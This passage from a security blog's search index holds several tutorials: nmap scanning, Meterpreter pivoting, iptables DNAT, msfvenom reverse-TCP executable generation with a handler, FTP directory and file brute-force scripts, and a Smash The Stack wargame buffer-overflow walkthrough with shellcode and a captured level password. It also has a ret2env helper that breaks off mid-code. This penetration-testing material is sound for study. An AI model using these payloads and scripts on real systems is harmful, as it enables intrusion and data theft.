ports).\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003e\u003ccode\u003e-sW\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eTCP Window Scan\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eExploits anomalies in TCP Window sizes of certain OS implementations.\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Typical comprehensive scan:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap -sS -sV -sC -O -p- -T4 \u0026lt;target\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch3 id=\"3-advanced--inverse-tcp-scans-bypassing-stateless-firewalls\"\u003e3. Advanced \u0026amp; Inverse TCP Scans (Bypassing Stateless Firewalls)\u003c/h3\u003e\n\u003cp\u003eInverse scans manipulate TCP header flags (RFC 793). Open ports drop the packet without reply, whereas closed ports respond with a \u003ccode\u003eRST\u003c/code\u003e:\u003c/p\u003e","title":"Nmap Network Scanning \u0026 Reconnaissance Cheat Sheet"},{"content":"When migrating virtual machines from Oracle VirtualBox to VMware Workstation, Fusion, or ESXi, virtual disk formats must be converted to VMware\u0026rsquo;s native format (VMDK).\nThere are two primary methods to accomplish this: using the universal qemu-img utility or VirtualBox\u0026rsquo;s native VBoxManage CLI tool.\nMethod 1: Using qemu-img (Recommended) qemu-img is a versatile disk management tool capable of converting between raw, qcow2, VMDK, VDI, and VHD/VPC images.\nInstallation On Ubuntu/Debian:\nsudo apt-get install -y qemu-utils On Fedora/RHEL/CentOS:\nsudo dnf install -y qemu-img Converting VHD to VMDK To convert a Virtual Hard Disk (.vhd / Microsoft VPC format) to VMware format:\nqemu-img convert -f vpc -O vmdk systemdisk.vhd systemdisk.vmdk -f vpc: Specifies the input format (vpc represents .vhd). -O vmdk: Specifies the output format (vmdk). Converting VDI to VMDK If your VirtualBox VM uses native .vdi disks:\nqemu-img convert -f vdi -O vmdk -o subformat=monolithicSparse virtualbox_disk.vdi vmware_disk.vmdk Method 2: Using VBoxManage If VirtualBox is already installed on your host, you can convert .vdi files directly without installing additional utilities:\nVBoxManage clonehd \u0026#34;source_disk.vdi\u0026#34; \u0026#34;target_disk.vmdk\u0026#34; --format VMDK --variant Standard Once the conversion finishes, attach the newly created .vmdk file to your VMware virtual machine configuration.\n","permalink":"/convert-virtualbox-harddisk-vmware/","summary":"\u003cp\u003eWhen migrating virtual machines from Oracle VirtualBox to VMware Workstation, Fusion, or ESXi, virtual disk formats must be converted to VMware\u0026rsquo;s native format (\u003ccode\u003eVMDK\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eThere are two primary methods to accomplish this: using the universal \u003cstrong\u003e\u003ccode\u003eqemu-img\u003c/code\u003e\u003c/strong\u003e utility or VirtualBox\u0026rsquo;s native \u003cstrong\u003e\u003ccode\u003eVBoxManage\u003c/code\u003e\u003c/strong\u003e CLI tool.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"method-1-using-qemu-img-recommended\"\u003eMethod 1: Using \u003ccode\u003eqemu-img\u003c/code\u003e (Recommended)\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eqemu-img\u003c/code\u003e is a versatile disk management tool capable of converting between raw, qcow2, VMDK, VDI, and VHD/VPC images.\u003c/p\u003e\n\u003ch3 id=\"installation\"\u003eInstallation\u003c/h3\u003e\n\u003cp\u003eOn Ubuntu/Debian:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt-get install -y qemu-utils\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOn Fedora/RHEL/CentOS:\u003c/p\u003e","title":"Converting VirtualBox Disk Images (VHD / VDI) to VMware (VMDK)"},{"content":"During penetration tests and red team operations, an initial compromised foothold often resides in a perimeter network (DMZ) or employee subnet. These dual-homed hosts can act as springboards (pivots) to reach isolated internal segments unreachable from your attack workstation.\nThe Network Scenario Attacker Workstation: 10.0.0.5 Compromised Host (Dual-Homed Foothold): External NIC: 10.0.0.10 Internal Private Subnet NIC: 10.0.2.15 Internal Target Host (Isolated): 10.0.2.30 Step 1: Internal Subnet Discovery (arp_scanner) From your active Meterpreter session on the compromised host, discover live hosts on the internal 10.0.2.0/24 subnet using ARP requests:\nmeterpreter \u0026gt; run post/windows/gather/arp_scanner RHOSTS=10.0.2.0/24 # Discovered live host: 10.0.2.30 (00:0c:29:ab:cd:ef) Method 1: Local Port Forwarding via portfwd If you want to access a specific internal service (e.g., Remote Desktop on 10.0.2.30:3389) directly from your attack workstation:\nmeterpreter \u0026gt; portfwd add -l 9389 -p 3389 -r 10.0.2.30 -l 9389: Binds local listening port 9389 on your attack workstation. -p 3389: Target port on the destination server. -r 10.0.2.30: Target IP inside the private network. Now, launch your RDP client against localhost:\nxfreerdp /v:127.0.0.1:9389 /u:Administrator Meterpreter transparently tunnels the RDP session through the compromised foothold to 10.0.2.30:3389.\nMethod 2: Subnet-Wide Routing (autoroute / route add) To allow all Metasploit auxiliary and exploit modules to route packets seamlessly through the compromised session:\nBackground the Meterpreter session (assuming it is Session 1) and add a route:\nmsf6 \u0026gt; route add 10.0.2.0 255.255.255.0 1 [*] Route added to subnet 10.0.2.0/255.255.255.0 through session 1 Or use the automated post module:\nmsf6 \u0026gt; use post/multi/manage/autoroute msf6 post(multi/manage/autoroute) \u0026gt; set SESSION 1 msf6 post(multi/manage/autoroute) \u0026gt; run You can now launch internal exploits and port scans against 10.0.2.30 as if you were plugged directly into the private switch.\n","permalink":"/port-forward-pivoting-meterpreter/","summary":"\u003cp\u003eDuring penetration tests and red team operations, an initial compromised foothold often resides in a perimeter network (DMZ) or employee subnet. These dual-homed hosts can act as springboards (\u003cstrong\u003epivots\u003c/strong\u003e) to reach isolated internal segments unreachable from your attack workstation.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"the-network-scenario\"\u003eThe Network Scenario\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker Workstation:\u003c/strong\u003e \u003ccode\u003e10.0.0.5\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCompromised Host (Dual-Homed Foothold):\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eExternal NIC: \u003ccode\u003e10.0.0.10\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eInternal Private Subnet NIC: \u003ccode\u003e10.0.2.15\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eInternal Target Host (Isolated):\u003c/strong\u003e \u003ccode\u003e10.0.2.30\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch3 id=\"step-1-internal-subnet-discovery-arp_scanner\"\u003eStep 1: Internal Subnet Discovery (\u003ccode\u003earp_scanner\u003c/code\u003e)\u003c/h3\u003e\n\u003cp\u003eFrom your active Meterpreter session on the compromised host, discover live hosts on the internal \u003ccode\u003e10.0.2.0/24\u003c/code\u003e subnet using ARP requests:\u003c/p\u003e","title":"Network Pivoting and Port Forwarding with Metasploit and Meterpreter"},{"content":"In honeypot deployments, captive portals, or specialized traffic inspection environments, administrators often need to forward all incoming traffic—regardless of destination port—to a single listening service (such as an HTTP inspection proxy or logging daemon).\nThis can be accomplished at line rate within the Linux kernel using Netfilter Destination NAT (DNAT) via iptables.\nRedirecting Inbound Port Ranges via DNAT To redirect all incoming TCP traffic across ports 1 through 65535 arriving on interface eth0 to an internal service listening on port 80 at 192.168.1.10:\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination 192.168.1.10:80 Breaking Down the Rule: -t nat: Specifies the Network Address Translation table. -A PREROUTING: Appends the rule to the PREROUTING chain, altering packets immediately upon arrival before routing decisions are made. -i eth0: Matches traffic entering on network interface eth0. -p tcp --dport 1:65535: Matches all TCP destination ports from 1 through 65535. -j DNAT --to-destination 192.168.1.10:80: Rewrites the destination IP and port to 192.168.1.10:80. Prerequisites \u0026amp; Forwarding Configuration Enable IPv4 Packet Forwarding in the Kernel:\nsudo sysctl -w net.ipv4.ip_forward=1 Permit Forwarded Packets in the FILTER Table: Ensure your firewall allows forwarded traffic to the target host:\nsudo iptables -A FORWARD -i eth0 -d 192.168.1.10 -p tcp --dport 80 -j ACCEPT Redirecting to Localhost (Local Redirection): If the target service runs on the same machine rather than an external IP, use the REDIRECT target instead of DNAT:\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 1:65535 -j REDIRECT --to-ports 8080 ","permalink":"/iptables-redirect-ports-one-port/","summary":"\u003cp\u003eIn honeypot deployments, captive portals, or specialized traffic inspection environments, administrators often need to forward all incoming traffic—regardless of destination port—to a single listening service (such as an HTTP inspection proxy or logging daemon).\u003c/p\u003e\n\u003cp\u003eThis can be accomplished at line rate within the Linux kernel using \u003cstrong\u003eNetfilter Destination NAT (DNAT)\u003c/strong\u003e via \u003ccode\u003eiptables\u003c/code\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"redirecting-inbound-port-ranges-via-dnat\"\u003eRedirecting Inbound Port Ranges via DNAT\u003c/h3\u003e\n\u003cp\u003eTo redirect all incoming TCP traffic across ports \u003ccode\u003e1\u003c/code\u003e through \u003ccode\u003e65535\u003c/code\u003e arriving on interface \u003ccode\u003eeth0\u003c/code\u003e to an internal service listening on port \u003ccode\u003e80\u003c/code\u003e at \u003ccode\u003e192.168.1.10\u003c/code\u003e:\u003c/p\u003e","title":"Port Forwarding and Redirection with iptables DNAT"},{"content":"msfvenom is Metasploit\u0026rsquo;s command-line payload generation and encoding utility (combining the legacy msfpayload and msfencode tools). It outputs shellcode across hundreds of formats including C arrays, raw binaries, and standalone executables (PE, ELF, Mach-O).\nGenerating a Standard Windows Reverse TCP Executable To generate an x86 staged Meterpreter payload packaged as a standalone 32-bit Windows .exe:\nmsfvenom -p windows/meterpreter/reverse_tcp \\ LHOST=192.168.1.10 \\ LPORT=4444 \\ -a x86 --platform windows \\ -f exe -o payload.exe Inspect the generated binary with file:\nfile payload.exe # payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows Key msfvenom Flags Flag Description -p The payload to instantiate (e.g. windows/x64/meterpreter_reverse_tcp). -a Target CPU architecture (x86, x64, armle, mips). --platform Target OS platform (windows, linux, osx, android). -f Output format (e.g. exe, raw, c, powershell, dll, elf). -e Encoder module (e.g. x86/shikata_ga_nai). -b Bad characters to exclude from shellcode (e.g. -b '\\x00\\x0a\\x0d'). -x Existing binary to use as an executable template. -k Injects payload into a background thread, preserving normal template execution. Handling Incoming Connections in Metasploit On your handler system, start the matching multi/handler:\nmsfconsole -q -x \u0026#34;use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.10; set LPORT 4444; exploit\u0026#34; ","permalink":"/metasploit-payload-executable-exe/","summary":"\u003cp\u003e\u003cstrong\u003e\u003ccode\u003emsfvenom\u003c/code\u003e\u003c/strong\u003e is Metasploit\u0026rsquo;s command-line payload generation and encoding utility (combining the legacy \u003ccode\u003emsfpayload\u003c/code\u003e and \u003ccode\u003emsfencode\u003c/code\u003e tools). It outputs shellcode across hundreds of formats including C arrays, raw binaries, and standalone executables (PE, ELF, Mach-O).\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"generating-a-standard-windows-reverse-tcp-executable\"\u003eGenerating a Standard Windows Reverse TCP Executable\u003c/h3\u003e\n\u003cp\u003eTo generate an x86 staged Meterpreter payload packaged as a standalone 32-bit Windows \u003ccode\u003e.exe\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsfvenom -p windows/meterpreter/reverse_tcp \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         LHOST\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e192.168.1.10 \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         LPORT\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4444\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         -a x86 --platform windows \u003cspan style=\"color:#ae81ff\"\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e         -f exe -o payload.exe\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eInspect the generated binary with \u003ccode\u003efile\u003c/code\u003e:\u003c/p\u003e","title":"Generating Standalone Windows Executables with msfvenom"},{"content":"Default Red Hat Enterprise Linux (RHEL) and CentOS installations include only core system packages. To install modern software stacks, development tools, and updated dependencies, administrators frequently configure trusted third-party repositories.\nHere are the most common repositories and how to enable them on CentOS / RHEL:\n1. EPEL (Extra Packages for Enterprise Linux) Maintained by the Fedora Special Interest Group, EPEL provides a massive collection of high-quality supplemental packages:\nsudo yum install epel-release -y 2. IUS (Inline with Upstream Stable) Provides up-to-date versions of key software (such as Python and Git) for Enterprise Linux:\nsudo rpm -ivh https://repo.ius.io/ius-release-el7.rpm 3. Remi Repository Maintained by Remi Collet, this is the standard repository for recent PHP releases and associated web tooling:\nsudo rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm 4. Repoforge (RPMforge) (Archived reference): Formerly used for additional multimedia and utility tools:\nsudo rpm -ivh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm After installing your desired repository RPMs, clean and rebuild your YUM cache:\nsudo yum clean all sudo yum makecache ","permalink":"/rehat-centos-repository-must/","summary":"\u003cp\u003eDefault Red Hat Enterprise Linux (RHEL) and CentOS installations include only core system packages. To install modern software stacks, development tools, and updated dependencies, administrators frequently configure trusted third-party repositories.\u003c/p\u003e\n\u003cp\u003eHere are the most common repositories and how to enable them on CentOS / RHEL:\u003c/p\u003e\n\u003ch3 id=\"1-epel-extra-packages-for-enterprise-linux\"\u003e1. EPEL (Extra Packages for Enterprise Linux)\u003c/h3\u003e\n\u003cp\u003eMaintained by the Fedora Special Interest Group, EPEL provides a massive collection of high-quality supplemental packages:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo yum install epel-release -y\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"2-ius-inline-with-upstream-stable\"\u003e2. IUS (Inline with Upstream Stable)\u003c/h3\u003e\n\u003cp\u003eProvides up-to-date versions of key software (such as Python and Git) for Enterprise Linux:\u003c/p\u003e","title":"Essential Third-Party Repositories for Red Hat and CentOS"},{"content":"When maintaining or purging relational data in MySQL and MariaDB, deleting rows from a parent table that are referenced by existing foreign keys in child tables triggers a constraint violation error:\nERROR 1451 (23000): Cannot delete or update a parent row: a foreign key constraint fails While referential integrity is essential during standard application execution, administrative migrations, database seeding, or emergency data cleanup frequently require temporarily suspending constraint validation.\nSuspending Constraint Checks To allow MySQL to delete or truncate rows without evaluating foreign key dependencies, disable FOREIGN_KEY_CHECKS in the active database session:\n-- Disable foreign key checks for the current session SET FOREIGN_KEY_CHECKS = 0; With checks disabled, execute your deletion or cleanup statements:\nDELETE FROM users WHERE account_status = \u0026#39;deactivated\u0026#39;; -- or TRUNCATE TABLE order_history; Re-enabling Constraint Checks Always restore foreign key constraint checking immediately after completing the maintenance operation to protect future transactions:\n-- Re-enable foreign key checks SET FOREIGN_KEY_CHECKS = 1; Important Operational Considerations [!CAUTION] Disabling FOREIGN_KEY_CHECKS can leave orphaned records in child tables if rows in referenced parent tables are removed. Ensure that child tables are cleaned up accordingly or that related records are properly reconciled before returning the database to production traffic.\n","permalink":"/mysql-force-delete-rows/","summary":"\u003cp\u003eWhen maintaining or purging relational data in MySQL and MariaDB, deleting rows from a parent table that are referenced by existing foreign keys in child tables triggers a constraint violation error:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eERROR 1451 (23000): Cannot delete or update a parent row: a foreign key constraint fails\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhile referential integrity is essential during standard application execution, administrative migrations, database seeding, or emergency data cleanup frequently require temporarily suspending constraint validation.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"suspending-constraint-checks\"\u003eSuspending Constraint Checks\u003c/h2\u003e\n\u003cp\u003eTo allow MySQL to delete or truncate rows without evaluating foreign key dependencies, disable \u003ccode\u003eFOREIGN_KEY_CHECKS\u003c/code\u003e in the active database session:\u003c/p\u003e","title":"Bypassing Foreign Key Constraints for Table Deletion in MySQL"},{"content":"During penetration testing assessments, FTP services (such as vsftpd or ProFTPD) are sometimes configured to disable directory listings (LIST or NLST commands return 550 Access is denied). While users cannot browse the file hierarchy interactively, read and traversal permissions may still allow direct path navigation (CWD) and file retrieval (RETR).\nIn such \u0026ldquo;blind\u0026rdquo; scenarios, dictionary-based brute forcing reveals hidden folders and downloadable assets.\n1. Directory Fuzzing via CWD This Python script tests candidate directory names against the FTP server using the CWD (Change Working Directory) command. If the directory exists and permissions permit traversal, the server returns a positive status code rather than error_perm (550).\n#!/usr/bin/env python3 import ftplib import sys def brute_directories(host, wordlist_file, user=\u0026#34;anonymous\u0026#34;, password=\u0026#34;guest@example.com\u0026#34;): try: ftp = ftplib.FTP(host, timeout=10) ftp.login(user, password) print(f\u0026#34;[*] Authenticated to {host} as {user}\u0026#34;) except Exception as e: print(f\u0026#34;[-] Authentication failed: {e}\u0026#34;) return with open(wordlist_file, \u0026#34;r\u0026#34;, encoding=\u0026#34;utf-8\u0026#34;, errors=\u0026#34;ignore\u0026#34;) as f: for line in f: directory = line.strip() if not directory: continue try: ftp.cwd(directory) print(f\u0026#34;[+] Discovered valid directory: /{directory}\u0026#34;) ftp.cwd(\u0026#34;/\u0026#34;) # Return to root for next test except ftplib.error_perm: continue except Exception as e: print(f\u0026#34;[!] Error testing {directory}: {e}\u0026#34;) ftp.quit() if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 3: print(\u0026#34;Usage: python ftp_dir_brute.py \u0026lt;host\u0026gt; \u0026lt;wordlist.txt\u0026gt;\u0026#34;) sys.exit(1) brute_directories(sys.argv[1], sys.argv[2]) 2. File Enumeration and Download via RETR When probing for sensitive backups, configuration dumps, or logs, we can attempt retrieval directly using the RETR command:\n#!/usr/bin/env python3 import ftplib import os import sys def brute_files(host, wordlist_file, output_dir=\u0026#34;./downloaded\u0026#34;, user=\u0026#34;anonymous\u0026#34;, password=\u0026#34;guest@example.com\u0026#34;): os.makedirs(output_dir, exist_ok=True) try: ftp = ftplib.FTP(host, timeout=10) ftp.login(user, password) except Exception as e: print(f\u0026#34;[-] Connection failed: {e}\u0026#34;) return with open(wordlist_file, \u0026#34;r\u0026#34;, encoding=\u0026#34;utf-8\u0026#34;, errors=\u0026#34;ignore\u0026#34;) as f: for line in f: filename = line.strip() if not filename: continue local_path = os.path.join(output_dir, filename) try: with open(local_path, \u0026#34;wb\u0026#34;) as f_out: ftp.retrbinary(f\u0026#34;RETR {filename}\u0026#34;, f_out.write) print(f\u0026#34;[+] Downloaded: {filename}\u0026#34;) except ftplib.error_perm: if os.path.exists(local_path): os.remove(local_path) continue ftp.quit() if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) \u0026lt; 3: print(\u0026#34;Usage: python ftp_file_brute.py \u0026lt;host\u0026gt; \u0026lt;wordlist.txt\u0026gt;\u0026#34;) sys.exit(1) brute_files(sys.argv[1], sys.argv[2]) [!TIP] Run file retrieval checks inside a designated temporary directory to prevent overwriting existing local files during automated transfers.\n","permalink":"/bruteforce-ftp-files-folders/","summary":"\u003cp\u003eDuring penetration testing assessments, FTP services (such as vsftpd or ProFTPD) are sometimes configured to disable directory listings (\u003ccode\u003eLIST\u003c/code\u003e or \u003ccode\u003eNLST\u003c/code\u003e commands return \u003ccode\u003e550 Access is denied\u003c/code\u003e). While users cannot browse the file hierarchy interactively, read and traversal permissions may still allow direct path navigation (\u003ccode\u003eCWD\u003c/code\u003e) and file retrieval (\u003ccode\u003eRETR\u003c/code\u003e).\u003c/p\u003e\n\u003cp\u003eIn such \u0026ldquo;blind\u0026rdquo; scenarios, dictionary-based brute forcing reveals hidden folders and downloadable assets.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-directory-fuzzing-via-cwd\"\u003e1. Directory Fuzzing via \u003ccode\u003eCWD\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eThis Python script tests candidate directory names against the FTP server using the \u003ccode\u003eCWD\u003c/code\u003e (Change Working Directory) command. If the directory exists and permissions permit traversal, the server returns a positive status code rather than \u003ccode\u003eerror_perm\u003c/code\u003e (550).\u003c/p\u003e","title":"Dictionary Enumeration of Blind FTP Directories and Files in Python"},{"content":"Level 6 on the Smash The Stack IO wargame takes two command-line arguments (username and password) and prints a greeting:\nlevel6@io:/levels$ ./level06 user pass Hi user Notice that the application checks the LANG environment variable to determine which greeting to print:\nlevel6@io:/levels$ export LANG=fr level6@io:/levels$ ./level06 user pass Bienvenue user level6@io:/levels$ export LANG=de level6@io:/levels$ ./level06 user pass Willkommen user Vulnerability Analysis The program structure internally organizes credentials into a record:\nstruct UserRecord { char name[40]; char password[32]; int id; }; When building the greeting message, the program concatenates the localized greeting string with the user fields. Because localized strings like \u0026quot;Bienvenue \u0026quot; or \u0026quot;Willkommen \u0026quot; are longer than \u0026quot;Hi \u0026quot;, the destination buffer overflows when combined with maximum-length user and password strings.\nControlling EIP With LANG=de or LANG=fr, providing oversized arguments corrupts the stack frame:\nlevel6@io:/levels$ gdb -q ./level06 (gdb) r $(python -c \u0026#34;print \u0026#39;A\u0026#39;*100 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*200\u0026#34;) Willkommen AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () EIP is cleanly overwritten with 0x42424242 (BBBB).\nExploitation Strategy: Environment Variable Shellcode Because the argument buffers are tightly constrained, storing shellcode inside an environment variable provides ample room and a predictable target address:\nExport shellcode in an environment variable:\nexport EGG=$(python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*64 + \u0026#39;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\u0026#39;\u0026#34;) Locate the environment variable in memory: Inspecting the stack under GDB reveals our EGG address around 0xbfffffb4.\nDetermine the exact offset to EIP:\nFirst argument (username): 40 bytes ('A' * 40). Second argument (password): 26 bytes of padding ('B' * 26) + 4-byte target return address. Executing the Exploit Running the binary with our calculated offset and target address:\nlevel6@io:/levels$ ./level06 $(python -c \u0026#34;print \u0026#39;A\u0026#39; * 40 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39; * 26 + \u0026#39;\\xb4\\xff\\xff\\xbf\u0026#39;\u0026#34;) Bienvenue AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBB sh-4.2$ whoami level7 sh-4.2$ cat /home/level7/.pass Nsr869Iyc0sFCX7I The payload hijacks control flow into the NOP sled inside our environment variable and spawns a shell as level7.\n","permalink":"/smash-stack-level6/","summary":"\u003cp\u003eLevel 6 on the Smash The Stack IO wargame takes two command-line arguments (username and password) and prints a greeting:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel6@io:/levels$ ./level06 user pass\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHi user\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNotice that the application checks the \u003ccode\u003eLANG\u003c/code\u003e environment variable to determine which greeting to print:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel6@io:/levels$ export LANG\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003efr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel6@io:/levels$ ./level06 user pass\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBienvenue user\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel6@io:/levels$ export LANG\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ede\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elevel6@io:/levels$ ./level06 user pass\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWillkommen user\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"vulnerability-analysis\"\u003eVulnerability Analysis\u003c/h3\u003e\n\u003cp\u003eThe program structure internally organizes credentials into a record:\u003c/p\u003e","title":"Smash The Stack: IO Level 6 Walkthrough"},{"content":"When exploiting buffer overflows in space-constrained stack frames (e.g., when the vulnerable buffer is only 20 or 30 bytes), you cannot fit a standard 50-byte shellcode payload directly on the stack.\nA classic exploitation technique is ret2env: injecting the shellcode into an environment variable (export EGG=...) and redirecting execution to its address located near the high end of the process address space.\nWhy Addresses Shift Environment variables reside at the top of the user stack directly below the initial stack frame. Because the program name (argv[0]) is pushed onto the stack immediately following the environment pointer (envp), the exact address of an environment variable depends slightly on the length of the binary name:\n$$\\text{Address}{\\text{Target}} \\approx \\text{Address}{\\text{Helper}} + (\\text{Length}{\\text{Helper}} - \\text{Length}{\\text{Target}}) \\times 2$$\nThe C Helper Utility (getenv.c) This lightweight utility reads and prints the memory pointer of any requested environment variable:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { if (argc \u0026lt; 2) { printf(\u0026#34;Usage: %s \u0026lt;ENV_VAR_NAME\u0026gt; [TARGET_BINARY]\\n\u0026#34;, argv[0]); return 1; } char *ptr = getenv(argv[1]); if (!ptr) { printf(\u0026#34;Environment variable \u0026#39;%s\u0026#39; not found.\\n\u0026#34;, argv[1]); return 1; } // Direct pointer in current process printf(\u0026#34;Raw pointer in %s: %p\\n\u0026#34;, argv[0], ptr); // If target binary path is supplied, calculate adjusted offset if (argc \u0026gt;= 3) { ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; 